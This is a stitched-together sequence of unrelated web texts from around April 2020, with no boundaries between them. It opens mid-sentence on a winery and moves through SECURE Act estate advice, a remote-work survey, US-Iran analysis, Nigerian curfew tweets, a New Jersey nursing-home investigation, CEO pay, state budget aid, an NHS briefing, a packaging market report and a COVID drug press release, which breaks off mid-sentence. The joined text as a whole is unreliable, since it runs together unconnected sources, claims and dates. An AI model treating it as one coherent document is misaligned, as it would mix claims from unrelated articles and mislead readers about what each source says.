in 1998 by Dave Phinney. Phinney spent a semester in Italy during college in 1995 and later, while worked for Robert Mondavi in 1997 as a harvester, ventured on his own and developed the brand that it is today. Naming the winery after the middle name of his father and maiden name of his mother, Orin Swift Cellars was born. Northwest of Napa and Yountville, St. Helena is located in Napa County where Orin Swift Cellars hosts its tasting room for guests to sample many of its wines from supple Zinfandels to Sauvignon Blanc to Rose and Petite Sirah. Always unique with their labeling, you cant miss a chance to snag one of these bottles. Chinas Virus Propaganda Backfires; CCP Global Ambitions Take Hit The Chinese regime has launched a global campaign of disinformation, propaganda, diplomacy, and threats to dissuade both the international calls to investigate the origin of the CCP virus in China and the growing numbers of class action lawsuits. In the EU, the European External Action Service wrote a report exposing the CCPs disinformation efforts around the virus, and the Chinese regime lobbied to have the report censored. Three citizen journalists running the nCoVMemory Github page were arrested in China. These and several other efforts by the regime have been exposed to the public and are now backfiring on the Chinese Communist Party. And while the CCP is being accused by nations including the United States, the UK, and India of leveraging the virus for business takeovers around the world, its operations are now taking a hit from the virus. These stories and more in this episode of Crossroads. Crossroads is an Epoch Times show available on Facebook and YouTube. Before the SECURE Act took effect on Jan. 1, 2020, a beneficiary who inherited an IRA or similar tax-advantaged retirement account could take required minimum distributions (RMDs) based on his or her life expectancy. The withdrawals could be stretched over decades, along with the income taxes owed on them. Now, most beneficiaries will be required to draw down that inherited account and pay the taxes on it within 10 years of the original owners death. Amounts they withdraw can vary from year to year. The account, however, must be withdrawn in its entirety over a 10-year span. Those who fail to do this will face a 50% penalty of the amount they should have withdrawn, on top of the taxes they owe. The bad news? The new law takes most of the stretch out of the stretch IRA, a popular tax-saving strategy for non-spouse beneficiaries who inherited all or part of a loved ones tax-deferred retirement plan. The legislation allows older workers to keep contributing to their IRAs as long as they have earned income. It pushes back the start date for taking required minimum distributions (RMDs) from 70 to 72. It also should make it easier and less expensive for small-business owners to set up retirement plans for their employees. The Setting Every Community Up for Retirement Enhancement Act of 2019, better known as the SECURE Act, is full of changes some subtle, some not so much designed to expand retirement savings opportunities for Americans of all ages. These accelerated payments will, of course, be a boon for the IRS. The Congressional Research Service estimates the new rule will generate about $15.7 billion in taxes over the next 10 years. But it could be a big problem for beneficiaries who might be pushed into a higher tax bracket, because many inheritors could be taking those compressed withdrawals during their peak earning years. That means a lot of parents, grandparents and other generous benefactors must reassess their estate plans or risk leaving behind a gift thats burdened by tax consequences. The change doesnt apply to certain beneficiaries, including surviving spouses, inheritors who are disabled or have a chronic illness, minor children, or those who are within 10 years of the age of the deceased. And those with inherited IRAs established before Jan. 1, 2020, are grandfathered in (to their great relief, Im sure). But others should act as soon as possible to avoid leaving behind a can of very expensive worms for their loved ones. What should you do if youre worried the SECURE Act is threatening the security of your legacy plan? 1. Call your financial adviser or estate attorney Ask to go over your estate plan and talk about what changes could be made to ensure its as tax-efficient as possible for your beneficiaries. Its always a good idea to review your beneficiaries regularly, just to be sure your designations are up to date and remain consistent with your objectives. But if the SECURE Act has turned your plan into a tax time bomb for your adult children, or if your hope was to provide lifetime income for an undisciplined spender, youll probably want to work out a different strategy. 2. Consider the benefits of a Roth conversion Under the SECURE Act, an adult who inherits a Roth IRA is still required to empty the account within 10 years. But unlike a traditional IRA, those distributions will be tax free. You may find it makes sense to take the money from your tax-deferred retirement account now, pay the taxes on it yourself and convert those funds to a Roth account for your children to inherit. Talk to your financial adviser about spreading out those withdrawals over the next few years in a way that also minimizes your tax bill. (You have until the end of 2025 to take advantage of lower tax rates put in place by the Tax Cuts and Jobs Act.) 3. Review any existing trusts If youve designated a trust as the beneficiary of your IRA (or other defined contribution plan), you should check with your estate planning attorney to see how the SECURE Act could affect distributions. The language in certain types of trusts including popular see-through or pass-through trusts could make them problematic now that the SECURE Act is in place. An estate attorney can determine if your trust still can accomplish your intended goals or if you need an alternate plan. 4. Consider a charitable remainder trust A charitable remainder trust could be a good replacement for legacy plans that have lost their pre-SECURE Act luster. As an income beneficiary of this type of irrevocable trust, your loved one would receive a percentage of the trusts assets for a specified period of time (usually longer than a decade). Then, when that time is up, the remainder of the trusts assets would go to a designated charity. Again, your financial adviser and an estate attorney can go over the details of this plan and help you determine if its appropriate for your situation. Dont let your well-intentioned gift become a worry for your beneficiaries and a windfall for the IRS. Take steps now to minimize the tax consequences in your legacy plan. Your loved ones will thank you. Investment advisory services offered only by duly registered individuals through AE Wealth Management, LLC (AEWM). AEWM and Scott Tucker Solutions, Inc., are not affiliated companies. Scott Tucker Solutions, Inc. has a strategic partnership with tax professionals and attorneys who can provide tax and/or legal advice. Neither the firm nor its agents or representatives may give tax or legal advice. Individuals should consult with a qualified professional for guidance before making any purchasing decisions The appearances in Kiplinger were obtained through a PR program. The columnist received assistance from a public relations firm in preparing this piece for submission to Kiplinger.com. Kiplinger was not compensated in any way. 573941 Kim Franke-Folstad contributed to this article. The fact significant numbers of employers are now considering remote work for their employees could bring societal changes that rival when large numbers of women first entered the workforce decades ago. After weeks of working remotely during the coronavirus pandemic, a nationwide survey found the countrys workforce is on the cusp of a generational shift, with large numbers of employees interested in working out of the office and many employers willing to embrace this change even after the crisis subsides. According to a survey by getAbstract of more than 1200 full-time employees who are working from home in the United States during the pandemic, nearly half of all respondents would like to keep working from home and more than 45% say their employers are actively considering or open to this move. Full survey results can be found here: https://journal.getabstract.com/en/2020/04/27/half-of-us-workers-have-become-home-office-converts/ Employees working from home also reported they were more productive and had higher performance while also valuing the benefits of not commuting and having more time for family, friends and hobbies. Our survey is the tip of the iceberg on the seismic, long term changes the coronavirus pandemic is bringing to how people work, cities develop, employers invest in offices and technology, and what this will mean for our families and communities for years to come, said Andrew Savikas, chief strategy officer at getAbstract. The fact significant numbers of employers are now considering remote work for their employees could bring societal changes that rival when large numbers of women first entered the workforce decades ago. The survey found strong preferences for more remote work from both workers that had been working or not working remotely before the crisis. For those workers that had never worked remotely prior to the pandemic, nearly 50% expressed a desire to keep working remotely. Moreover, among people who occasionally worked remotely previously, the survey found more than 80% want to work remotely more of the time. The online survey sponsored by getAbstract was conducted between April 16 and 17, 2020, with a nearly equal number of women and men respondents from a range of ages, income levels and careers. getAbstract is the industry leader in continuous learning with a mission of giving people the knowledge they need to make better decisions in their professional and personal lives. About getAbstract getAbstract is an online library offering 20,000+ text and audio summaries of business books. getAbstract finds, rates, and summarizes relevant knowledge to help people make better decisions in business and in their private lives. The company's expert editorial team finds and rates the most relevant business books, articles, and video talks, and summarizes them into 10-minute abstracts. Their constantly updated online library provides quick and easy access to relevant knowledge for employees at every level. The company's worldwide community includes millions of readers, including one-third of Fortune 100 companies. Founded in 1999, getAbstract is headquartered in Lucerne, Switzerland, with offices in Boston and Aventura, Fla. US President Donald Trump ordered the US navy to destroy any Iranian vessels that harass US ships at sea, one week after 11 Iranian Revolutionary Guard Corps (IRGC) boats came dangerously close to US vessels in the Arabian Gulf. Much analysis predicted that a direct military confrontation between the US and Iran is more likely now than at any other time, but this view overlooks basic fundamentals that prevent the two countries from launching direct military confrontation. The Trump administration wants to tighten the economic siege of Iran rather than start a war with Tehran, since its strategy is to decrease US military presence overseas and redirect military spending to upgrading the USs military arsenal instead of unnecessary wars, as long as Washingtons goals can be achieved through non-military means. Meanwhile, Iran has also demonstrated that it does not want an open military confrontation with the US as seen by Tehrans limited response to the January assassination of Qassem Suleimani, the commander of IRGCs Al-Quds Force. Bilal Saab, a Middle East security expert at the Middle East Institute and former Pentagon official in the Trump administration, noted in a long report published 13 January on vox.com: The US and Iran have been locked in a cycle of violence for decades, and especially since Trump withdrew from the Iran nuclear deal. So, there was no guarantee Iran would refrain from an escalation, even if the president chose not to kill Suleimani. Saab added that the US did not choose to take the most extreme option against Iran; the Pentagon gave Trump the option to strike Iranian missiles sites and ships, which would have meant bombing inside Iran or sinking vessels in the Iranian navy. Saabs observations on US strategy towards Iran since Trump came to office on 20 January 2017 are spot on. Trump never put a military option on the table. In fact, in October 2017 Trump said: First, we will work with our allies to counter the regimes destabilising activity and support for terrorist proxies in the region. Second, we will place additional sanctions on the regime to block their financing of terror. Third, we will address the regimes proliferation of missiles and weapons that threaten its neighbours, global trade and freedom of navigation. And finally, we will deny the regime all paths to a nuclear weapon. If both countries want to avoid direct military confrontation, as noted by Saab, and if Iran continues provocations that began as early as 2015, even before Trump came to office, then can anything upend this balance and trigger all-out military confrontation between the two countries? There is a contest between the Iranian and US strategies. Tehrans strategy is determined to eject US presence from the Gulf, and maybe even in Iraq, by pushing its proxies in the region to target US forces and countries allied with Washington that allow US military bases on their territories. By taunting US ships in the Gulf, Iran is proving Washingtons impotence in deterring Tehran. Meanwhile, the strategy of Trump and his administration is based on separating the mechanism of tightening the siege on Iran and maintaining a US military presence in the region, and the mechanism of responding to Iranian provocations so the siege forces Tehran to reverse its expansionist policies and desire to acquire nuclear weapons, but also have the ability to respond to Irans provocations with limited defensive measures that can be legally argued as the right to protect US troops and interests. The only situation where Washington would find itself forced into war with Tehran is if Iranian troops attack US military bases or ships in the region from Iranian territories or vessels in the Gulf. Another important point here are assertions by US military commanders that Trump authorised the US navy to immediately respond to Iranian harassment of US vessels. This is a clear message to Iran that responding to these provocations will no longer require US commanders on the front line to wait for a political decision; the commander of any military vessel that is taunted by Iranian boats can instantly destroy them without consulting anyone in Washington. General John Hyten, vice chairman of the Joint Chiefs of Staff, told Reuters that no one should doubt that military commanders now have the authority to respond to any hostile actions or intentions. The US Navy has the authority to take measures to defend itself, he said. Only time will tell if the IRGC will stop playing with fire and if Iranian leaders will fail in their strategy of taunting US forces to compel them to leave the Gulf and the region. Or do they need a strong and unexpected US response if they continue their provocations, on the scale of Suleimanis assassination in response to Iran-backed militias in Iraq attacking US bases? It was a response that the Iranians never expected since they believed Washington would never risk going to war with Tehran. *A version of this article appears in print in the 30 April, 2020 edition of Al-Ahram Weekly under headline: United we stand Search Keywords: Short link: Nigerians on Twitter expressed diverse reactions to the imposition of overnight curfew across Nigeria by President Muhammadu Buhari. The president made the announcement Monday night while addressing Nigerians for the third time on the COVID-19 pandemic. The curfew is expected to commence nationwide next Monday. Until then, the total lockdown imposed on Lagos, Abuja and Ogun will remain, the president said. He said the measures were taken based on the recommendations of the Presidential Task Force on COVID-19, the various federal government committees who reviewed the socio-economic impact of the restrictions, and the Nigeria Governors Forum. Though some Nigerians, including state governors, have called for the lifting of the lockdown, the Nigerian Medical Association (NMA) advised the government to extend the lockdown by two more weeks, raising concerns of a spike in the spread of the contagion if the country reopens now. READ ALSO: Reactions have, however, trailed the presidents new address. These reactions made 4th of May, Buhari, Nigerians, Lagos, 3rd Mainland Bridge, #Lockdownend, among others, trending topics on Twitter. Many Nigerians were able to find the humour amidst the recent announcement by the president, and have reacted with hilarious memes. While many tried to understand the rationale behind imposing night curfews in the affected states, asking if the virus was nocturnal, others decided to have fun with it. Read some reactions below: Nigerians amidst the jokes pic.twitter.com/CWFay7bBlS Yinka inker (@SDQ_ADE) April 27, 2020 https://twitter.com/Fehyie/status/1254873909947662343 Corona virus at 7:58pm waiting for 8pm before attacking Nigerians pic.twitter.com/chTl2USb6X Mazi Ibe (@MaziIbe_) April 27, 2020 https://twitter.com/Cerebrone/status/1254864399917109249 https://twitter.com/mrmanhere_/status/1254899083506069505 COVID 19 has agreed following negotiations with the Federal Government that from 4th of May itll remain indoors during the day. Very considerate virus. Armstrong The Baller (@armstrongnyoni) April 27, 2020 https://twitter.com/its__MIDE/status/1254882585462935558 From 4th of May, when youre in front of your house in Lagos by 7:59pm and Coronavirus is about to get you. Your neighbors: pic.twitter.com/oGHpOaNEtx David The King (@Davidchibike) April 27, 2020 If you are in Lagos traffic and its past 6pm just come down from the car and start running home Chidi (@chidi_esq) April 27, 2020 Ms Rona getting her face beat before her 6pm 8am shift in Lagos and Abuja pic.twitter.com/N85dYTndH5 GOKADA NG. (@_felaback) April 27, 2020 Long before the anonymous tip that led to the discovery of 17 bodies in a makeshift morgue at Andover Subacute and Rehabilitation Center, there were problems at the states largest nursing home. There werent enough supplies. Staffing was short. Protective equipment was in short supply. And as the coronavirus outbreak began to engulf the facility in Sussex County, two nurses, one former and one current, recalled how they would move the sick from room to room with no masks, deal with filthy floors and corridors and handle beds that were not disinfected even after residents died in them. It was a horror house, said one nurse, who said she tested positive for COVID-19 and spoke on the condition of anonymity, for fear of losing her job. The coronavirus crisis has ravaged nursing homes across the state. Nearly 30% of New Jerseys COVID-19 related deaths were in long term care facilities or nursing homes, according to Mondays state department of health statistics. As of Monday afternoon, a total 45 people had died at Andover, with 190 positive cases of COVID-19, according to DOH numbers. Neither nurse was at Andover Subacute when the makeshift morgue was discovered on April 13. One had already left and one was out on disability. But both said they were working when more and more patients became ill and started to die. Trying to care for more and more ailing patients without even the most basic protective gear, some nursing home workers would fall ill themselves, fighting an uphill battle against a lethal disease as it ravaged residents who they tried to keep safe. At the same time, they said there was a stunning lack of transparency and information, even among staff, as the crisis escalated. Early on, they said they were preparing, said the current nurse. But they never disclosed an exact number to us. Everything was kept kind of hush hush amongst management. According to the nurses, the situation was already out of control in the weeks leading up to the Easter weekend when 15 residents died. Andover Subacute and Rehab is owned in part by Chaim Mutty Scheinbaum through Lakewood-based Alliance Healthcare Holdings. Scheinbaum also has ownership stakes in nursing homes in Pennsauken and Cinnaminson in New Jersey, and two other nursing homes in Pennsylvania. In a statement released by Scheinbaum responding to questions from NJ Advance Media, the 37-year old CEO of Alliance said across the country, the virus has hit nursing home patients and their health care professionals the hardest. With one of the largest nursing home populations in the state, Andover Subacute II is on the front lines of this crisis, cooperating with public health officials to prioritize patient safety, he said. Andover has two separate buildings: Andover I, a smaller facility that serves those with less serious medical issues, and Andover II, a larger unit with many dementia and Alzeimers residents, and others suffering from schizophrenia and other mental problems. BRINGING BODY BAGS Andover Subactute has been in the spotlight since the discovery that the nursing home was holding 17 bodies in a makeshift morgue April 13, the day after Easter Sunday. The facilitys existing morgue was little more than a small holding room with a window and an air conditioner, meant to hold two gurneys. Theyre calling it a morgue, one of the two nurses said. It was nothing more than what we called a holding room. Where a patient expired thats where they went before the funeral home picked them up. Its disgraceful. The township police had been asked to supply 25 body bags on Easter and found five bodies being stored in a room in Andover II, Police Chief Eric Danielson had said. The day after, police found 12 more bodies being stored on site, officials said. Even before the pandemic hit the nursing home, supplies were scarce, said employees. They would ask for supplies and were told they werent coming since the bills were not being paid, said one nurse. And when the nursing home received a shipment of protective gear from the Sussex County Sheriffs Office, the homes administration made it clear that it was not available tor everyone, said one nurse. The first shipment of protective gear from the Sheriffs Office arrived at the center April 1, according to a statement from the Sussex County Department of Health and Human Services. It was kept under lock and key, said the nurse. It was not distributed to the nurses, short of the isolation wing. It was kept under lock and key. We were told Go figure it out. If you want your own PPE, you have to get it. After nurses approached the homes administrator, demanding answers as to how they could get protective equipment, an employee responsible for ordering supplies allegedly chastised the group, telling them to watch the news to see how scarce protective gear had become, the current nurse said. Eventually, by early April, staff were given one mask each, said the current nurse. The employees were told to wash and spray the mask with Lysol before reusing it. Although Scheinbaum would not address the question of whether employees were initially denied protective gear, he acknowledged the lack of protective gear at the facility. Like virtually every other healthcare facility across the region, Andover Subacute II has faced challenges due to a general lack of PPE, as well as staffing complications caused by front line workers becoming ill, said Scheinbaum. At the same time as nurses were struggling to keep themselves safe while treating sick residents, they were being told to swab their patients as part of the tests for the coronavirus, said the two employees. The testing, which requires healthcare workers to get close to a patient and swab their nasal cavity, was ordered without even the basic training required, they said. The lack of protective gear and training led to a backlog of residents that needed to be swabbed, said the former nurse. One man died before he could be swabbed for COVID-19, said the former nurse. There was no swabs available and he expired before that swab could be done, the nurse said. As the outbreak snowballed, nurses were moving patients from one wing to another, sometimes transferring residents who were on the ground floor to the second floor, and from the third floor back down to the ground floor, said both the current and former nurses. They did this with no protective gear, said the current nurse. Talk about cross contamination? Oh my god. Oh my god, said the current nurse. As workers scrambled to move sick patients from one area of the hospital to the other, they struggled with waning staff, said both employees. For the 11 p.m. to 7 a.m. shift, there was one nurse covering two wings of the facility, with more than 50 residents in each, one nurse said. While Scheinbaum did not address staffing for specific shifts, he said that the illness affecting employees has caused the facility to operate with a smaller staff than usual. While Andover Subacute II has a full complement of licensed and qualified staff, unfortunately some of its front line workers have been impacted while fighting this pandemic and are unable to return to work at this time, he said in the statement. The facility is working with the Department to find replacements for those people who have become ill, has already retained a licensed nursing home administrator consultant along with a certified infectious disease consultant, and is otherwise working to ensure that the facility has qualified professionals to deal with this unprecedented health emergency. Scheinbaum said that staff was given updates regularly, but did not specify if staff were notified of new positive cases of COVID-19 as they were reported. We communicate regularly with our staff directors in daily meetings and conference calls to provide the latest updates on what is happening across our facility, his statement said. Separately, both employees said it was extremely difficult to get information to residents families. We had families calling continuously, said the current nurse. They didnt want anything disclosed to families. They werent sharing the details with us staff. It just goes on and on. At least three relatives of residents previously told NJ Advance Media that it was almost impossible to reach anybody at the home. Francesca Veen said it took her four hours to get through to the home to check on her grandmother. The facility has been barred by the state Department of Health from admitting any new patients, and the state ordered Andover to retain an infection control expert and key consultants. One of the two nurses, though, said somebody needs to be held accountable. The owners, the administration. It was horrible. It was downright criminal how they went about everything, said the nurse. Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. Rodrigo Torrejon may be reached at rtorrejon@njadvancemedia.com. In 2017, Ian McDonough was appointed CEO of Blackbird plc (LON:BIRD). This analysis aims first to contrast CEO compensation with other companies that have similar market capitalization. After that, we will consider the growth in the business. And finally - as a second measure of performance - we will look at the returns shareholders have received over the last few years. The aim of all this is to consider the appropriateness of CEO pay levels. View our latest analysis for Blackbird How Does Ian McDonough's Compensation Compare With Similar Sized Companies? At the time of writing, our data says that Blackbird plc has a market cap of UK50m, and reported total annual CEO compensation of UK180k for the year to December 2018. We examined a group of similar sized companies, with market capitalizations of below UK161m. The median CEO total compensation in that group is UK267k. Pay mix tells us a lot about how a company functions versus the wider industry, and it's no different in the case of Blackbird. Speaking on an industry level, we can see that nearly 70% of total compensation represents salary, while the remainder of 30% is other remuneration. When we boil it down to the company level, Blackbird prefers to reward Ian McDonough through non-salary compensation, since it does not pay a salary. At first glance this seems like a real positive for shareholders, since Ian McDonough is paid less than the average total compensation paid by similar sized companies. Though positive, it's important we delve into the performance of the actual business. You can see, below, how CEO compensation at Blackbird has changed over time. AIM:BIRD CEO Compensation April 28th 2020 Is Blackbird plc Growing? Blackbird plc has seen earnings per share (EPS) move positively by an average of 22% a year, over the last three years (using a line of best fit). It achieved revenue growth of 19% over the last year. This shows that the company has improved itself over the last few years. Good news for shareholders. It's a real positive to see this sort of growth in a single year. That suggests a healthy and growing business. We don't have analyst forecasts, but you might want to assess this data-rich visualization of earnings, revenue and cash flow. Story continues Has Blackbird plc Been A Good Investment? I think that the total shareholder return of 165%, over three years, would leave most Blackbird plc shareholders smiling. This strong performance might mean some shareholders don't mind if the CEO were to be paid more than is normal for a company of its size. In Summary... It appears that Blackbird plc remunerates its CEO below most similar sized companies. Many would consider this to indicate that the pay is modest since the business is growing. The strong history of shareholder returns might even have some thinking that Ian McDonough deserves a raise! It's not often we see shareholders do so well, and yet the CEO is paid modestly. But it is even better if company insiders are also buying shares with their own money. On another note, Blackbird has 6 warning signs (and 1 which is significant) we think you should know about. Arguably, business quality is much more important than CEO compensation levels. So check out this free list of interesting companies, that have HIGH return on equity and low debt. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. Senate Majority Leader Mitch McConnell (R-Ky.), shown leaving his office April 9, has questioned whether Congress should help states with the budget problems exacerbated by COVID-19. (AP Photo/Patrick Semansky) Congress has cranked the spigot of federal dollars wide open in response to the COVID-19 pandemic, first to improve the public health system's response and then later to try to soften the blow to the U.S. economy. The amount of spending has been breathtaking: $3.6 trillion so far, which is about $140 billion more than the federal government collected in taxes, tariffs and other revenue in fiscal 2019. But lawmakers are not done. Among the many needs still to be addressed is the huge gap that the pandemic and the subsequent stay-at-home orders have opened in state and local budgets. California's Legislative Analyst Office estimated that the state could lose almost a quarter of its revenue in the coming fiscal year; other states are projecting double-digit shortfalls as well. The total loss could be close to half a trillion dollars, the Center on Budget and Policy Priorities estimated. Because state and local governments are required to balance their budgets, the revenue losses caused by COVID-19 could force deep cuts in public education, public safety, utilities and other vital services. That why top congressional Democrats have been pushing to help cash-strapped state and local governments, and rightly so. Republican leaders in Congress, however, have balked at the idea. "Were not ready to just send a blank check down to states and local governments to spend any way they choose to," Senate Majority Leader Mitch McConnell (R-Ky.) explained to conservative talk-show host Hugh Hewitt last week. "It has to be coronavirus-related. And I think we need to have a full debate not only about if we do state and local, how will they spend it." By all means, governments need to be accountable for what they do with tax dollars. But McConnell wasn't concerned about waste, fraud and abuse; he was worried about states using the money to shore up their beleaguered public pension funds. Instead of Congress providing emergency aid, McConnell told Hewitt, "I would certainly be in favor of allowing states to use the bankruptcy route." Story continues The liability faced by states and local governments for the retirement benefits they promised police, firefighters, teachers and other public employees is enormous indeed. But that's a problem for the long term. The problem for this moment is the staggering revenue loss caused by the shutdowns that have helped keep the pandemic from overwhelming local healthcare systems. According to research by the Pew Charitable Trusts, nearly 70% of state revenues in fiscal 2018 came from sales and income taxes, the sources hit hardest by the sharp contraction in the economy. States and cities aren't looking for ways to shore up their pension funds; they're looking for ways to keep police and firefighters on the streets, educate their students remotely and provide other basic services. Not only is McConnell focused on the wrong problem, he's offering the wrong solution. Cities in almost half of the states aren't allowed to declare bankruptcy, and federal law doesn't give any states the authority to do so. Lifting those restrictions would be constitutionally dicey, and the problems states would cause by seeking bankruptcy protection in particular, the years of costly damage it would inflict to their ability to negotiate contracts, sell bonds and borrow money could overshadow any potential benefit. And besides, pension claims aren't wiped out by bankruptcy; states would still have to negotiate with public employee unions over any reductions in benefits. Conservatives have long floated the idea of state bankruptcies as a solution to the pension crisis; the coronavirus is merely a pretext for them to renew that effort now. Lawmakers should not be fooled, nor should they ignore the problems state and local governments are encountering in their drive to protect public health. The NHS will restart some vital services, including cancer care, from today, Health Secretary Matt Hancock has said, as he admitted the government has a "lot of work" to do to hit its 100,000 a day testing target. (Andrew Milligan/PA) The NHS will restart some vital services, including cancer care, from today, Health Secretary Matt Hancock has said, as he admitted the government has a "lot of work" to do to hit its 100,000 a day testing target. Speaking at the daily Downing Street press briefing, Mr Hancock also announced a life assurance scheme to pay 60,000 to the families of those frontline NHS and social care workers who have died in the course of their duties. It comes as England's chief medical officer Professor Chris Whitty said the coronavirus epidemic in the UK still has a "very long way to run" and there was "no perfect solution" to easing the lockdown, adding there were "difficult choices" to be made. Some 29,058 tests had been carried out in England, Scotland and Wales in the 24 hours up to 9am on Saturday, according to the latest figures, suggesting the government is way off its 100,000 a day target set for this Thursday. Mr Hancock said the government was "broadly where we expected to be" in terms of testing capacity but admitted there was a lot of work to do to hit the 100,000 a day goal. He added: "It is important to note that we have already gone past the number of tests, per day, for instance, that they carry out in South Korea. "We are approaching the levels that Germany undertakes." Mr Hancock said the number of patients attending A&E had fallen to 221,000 in the last week from 477,000 in the same week last year, as he urged people in need to use the NHS. "In some cases we know that the drop is due to people not coming forward and using the NHS for critical things that matter," he said. Some key NHS services which had been paused due to coronavirus will be restored from today, starting with the most urgent cases first, as 42% of oxygen supported beds set aside for coronavirus are currently empty. "As the number of hospitalisations from coronavirus begins to fall, I can announce that, starting tomorrow, we will begin the restoration of other NHS services - starting with the most urgent, like cancer care and mental health support," he said. He said the "exact pace of the restoration" will be determined by hospitals based on how many Covid-19 patients they still have. Mr Hancock also told the Downing Street briefing that 82 NHS workers and 16 social care staff had died so far as he announced the 60,000 payment for families. "Of course, nothing replaces the loss of a loved one but we want to do everything we can to support families who are dealing with this grief," he added. A total of 21,092 patients have died in hospital after testing positive for coronavirus in the UK as of 5pm on Sunday, Mr Hancock said, up by 360 from 20,732 the day before. Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. A detailed analysis report of the Global Foodservice Packaging and Disposables Market has been covered in the report coupled with a thorough description of each company profile with information on the H.Q, future capabilities, key mergers & acquisitions, financial outline, partnerships and new product launches and developments. Foodservice packaging and disposable refers packing items that are used for single usage purpose. These packaging is widely used for take away, home deliveries, fast-food joints, supermarkets, catering agencies etc. They are designed for single use after which it is recycled or disposed as solid waste. Therefore, they are hygienic, reduces food contamination and spreading of diseases. They are generally made from plastics, paper, bamboo and bio-resins. The disposables are classified as disposable cups, molded fiber plates, paper plates, straws, paper wraps, pizza boxes, napkins, lids etc. The food service packing are classified as plastic trays, film lids, wrapping films, paper trays and lids, liquid bottles, metal cans, liquid cartons, folding cartons, bags and sachets etc. In addition, they are classified according to end users as fresh food, frozen foods, dry foods, ready to eat meals, dairy products, bakery, packaged water, alcoholic and non-alcoholic beverages etc. The major drivers in contributing to the overall growth of food service packaging and disposable market are rising number of fast-food industry, hectic lifestyle, increase in number of working women and growing trend of nuclear families. The busy corporate lifestyle in cities provide very little or no time for cooking; so the customers opt for ready to eat meals which indirectly boosts the food service packaging and disposable markets. The growing trend of nuclear families and bachelors living away from home also help to boost this market. The mushrooming of fast-food centers even in small towns also help in the growth of this segment. As most of the foodservice packaging and disposables materials are made up of plastics they possess threat to the environment. The biggest challenge in this segment is to produce cost effective and eco-friendly products. Browse the complete Global Foodservice Packaging and Disposables Market Research Report - Industry Analysis, Size, Share, Growth, Trends and Forecast Till 2026 @ https://www.decisiondatabases.com/ip/658-foodservice-packaging-disposables-market-report The major companies operating in the foodservice packaging and disposable market are: Alcan Inc. Airlite Plastics Co. Cascades Inc. Dart Container Corp. Georgia-Pacific Corp. Ball Corp. Anchor Packaging Inc. Fabri-Kal Corp. Hoffmaster Group Inc. D&W Fine Pack LLC Hindalco Industries Ltd. Graphic Packaging Holding Co. International Paper Co. Kimberly-Clark Corp. Inline Plastics Corp. Koch Industries Inc. Douglas Stephen Plastics, Inc. SEGMENTATIONS IN REPORT: Foodservice Packaging and Disposables By Types: Disposables Disposable Cups Moulded Fibre Plates Paper Plates, Straws Plastic Clamshells Paper Wraps Pizza Boxes Plastic Utensils Napkins Lids Foodservice Packaging Plastic Trays Rigid Plastic Lids Film Lids Wrapping Film Foil Trays Paperboard Trays And Lids Plastic Bottles Dispensing Pouches, Including Bag-In-Box Bags & Sachets Metal Cans Glass Liquid Cartons Folding Cartons Foodservice Packaging and Disposables By End-Use: Fresh Food Frozen Or Chilled Food Dry Food Ready Meals Baked and Savoury Products Milk, Cheese And Dairy Products Confectionery Canned And Preserved Foods Soups, Sauces, Pickles, Oils & Fats, Salt & Pepper Hot Beverages Carbonated Soft Drinks Packaged Water Juices And Juice Drinks/Nectars Sports, Energy Drinks, Dilutables Beer (And Cider) Wine Spirits And Flavoured Alcoholic Beverages Foodservice Packaging and Disposables By Geography: Asia Pacific North America Europe Latin America Middle East And Africa Download Free Sample Report of Global Foodservice Packaging and Disposables Market @ https://www.decisiondatabases.com/contact/download-sample-658 The Global Foodservice Packaging and Disposables Market has been exhibited in detail in the following chapters - Chapter 1 Foodservice Packaging and Disposables Market Preface Chapter 2 Executive Summary Chapter 3 Foodservice Packaging and Disposables Industry Analysis Chapter 4 Foodservice Packaging and Disposables Market Value Chain Analysis Chapter 5 Foodservice Packaging and Disposables Market Analysis By Types Chapter 6 Foodservice Packaging and Disposables Market Analysis By End-Use Chapter 7 Foodservice Packaging and Disposables Market Analysis By Geography Chapter 8 Competitive Landscape Of Foodservice Packaging and Disposables Companies Chapter 9 Company Profiles Of Foodservice Packaging and Disposables Industry Purchase the complete Global Foodservice Packaging and Disposables Market Research Report @ https://www.decisiondatabases.com/contact/buy-now-658 Other Reports by DecisionDatabases.com: Global Fresh Food Packaging Market Research Report - Industry Analysis, Size, Share, Growth, Trends and Forecast Till 2026 Global Food And Drink Packaging Market Research Report - Industry Analysis, Size, Share, Growth, Trends And Forecast Till 2026 About-Us: DecisionDatabases.com is a global business research reports provider, enriching decision makers and strategists with qualitative statistics. DecisionDatabases.com is proficient in providing syndicated research report, customized research reports, company profiles and industry databases across multiple domains. Our expert research analysts have been trained to map clients research requirements to the correct research resource leading to a distinctive edge over its competitors. We provide intellectual, precise and meaningful data at a lightning speed. For more details: DecisionDatabases.com E-Mail: sales@decisiondatabases.com Phone: +91 9028057900 Web: https://www.decisiondatabases.com/ [April 28, 2020] Shiv Nadar University Develops a Molecule with Potential to Treat COVID-19 Shiv Nadar University, India's leading multidisciplinary and research-based university, today announced a potential breakthrough solution in the global battle against COVID-19. A team of researchers led by Dr Subhabrata Sen from the Department of Chemistry, Shiv Nadar University, India, along with his collaborator Professor Ralf Jockers, Institut Cochin (INSERM, CNRS, Universite de Paris, France), has discovered a set of New Chemical Entities (NCEs) with the ability to treat Acute Respiratory Distress Syndrome (ARDS) or Acute Lung Injury (ALI) induced by COVID-19 (SARS-CoV-2) or other Severe Acute Respiratory Syndrome (SARS) and Middle East Respiratory Syndrome (MERS), which are also caused by coronaviruses. The two-fold strategy devised by the research team involved (a) application of the NCEs to inhibit attachment, entry and infection of the new SARS-CoV-2 through a known target on the virus; and (b) co-administration of a known drug (that modulates a set of hormonal receptors in human) and these NCEs to attenuate ARDS caused by SARS-CoV-2. The researchers believe their therapy would not only prevent COVID-19 from affecting a person's lungs, but will also address lung injuries already inflicted by the virus, in cases the ventilators are either not proving effective or are not available altogether, bringing much relief to COVID-19 patients suffering from ARDS. Commenting on his research, Dr Subhabrata Sen, Professor, Department of Chemistry at Shiv Nadar University, said, "We hope our therapeutic approach will unravel solutions against maladies associated with acute respiratory distress syndrome. Our aim is to conclude the preclinical studies by the end of this year, post which the new compound will potentially be ready for the next 